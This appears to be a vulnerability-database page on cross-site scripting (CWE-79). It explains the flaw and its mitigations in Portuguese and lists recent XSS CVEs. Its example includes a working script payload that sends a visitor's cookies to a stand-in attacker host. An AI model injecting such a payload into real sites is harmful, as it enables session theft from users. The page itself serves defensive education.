Fallos del tipo CWE-79

30.536 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-64545MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2025-64869MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-10244MEDIUMSourceCodester Pharmacy Sales and Inventory System main create_medicine_name cross site scriptingEPSS 0.2%CVE-2025-56236MEDIUMFormCms v0.5.5 contains a stored cross-site scripting (XSS) vulnerability in the avatar upload feature. Authenticated users can upload .htmlEPSS 0.2%CVE-2025-64888MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-82865LOWpdfme schemas before 5.5.10 Cross-Site Scripting via i18n LabelEPSS 0.2%CVE-2026-4355MEDIUMPortabilis i-Educar Endpoint educar_servidor_curso_lst.php cross site scriptingEPSS 0.2%CVE-2026-2514HIGHPossibility of unintended actions when viewing maliciously crafted network data in Progress Flowmon ADS web applicationEPSS 0.2%CVE-2026-105408HIGHStored Cross-site Scripting (XSS) vulnerability affecting Tuleap Enterprise Edition from 17.0 through 17.5EPSS 0.2%CVE-2025-64574MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-83960MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-119563MEDIUMphpMyAdmin through 5.2.3 Stored XSS via Designer Query History Table NameEPSS 0.2%CVE-2026-32356MEDIUMWordPress Robo Gallery plugin <= 5.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-42678HIGHWordPress GiveWP plugin <= 4.14.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-60249MEDIUMvulnerability-lookup 2.16.0 allows XSS in bundle.py, comment.py, and user.py, by a user on a vulnerability-lookup instance who can add bundlEPSS 0.2%CVE-2025-64548MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-64827MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-64563MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2025-64875MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-65622MEDIUMSnipe-IT before 8.3.4 allows stored XSS via the Locations "Country" field, enabling a low-privileged authenticated user to inject JavaScriptEPSS 0.2%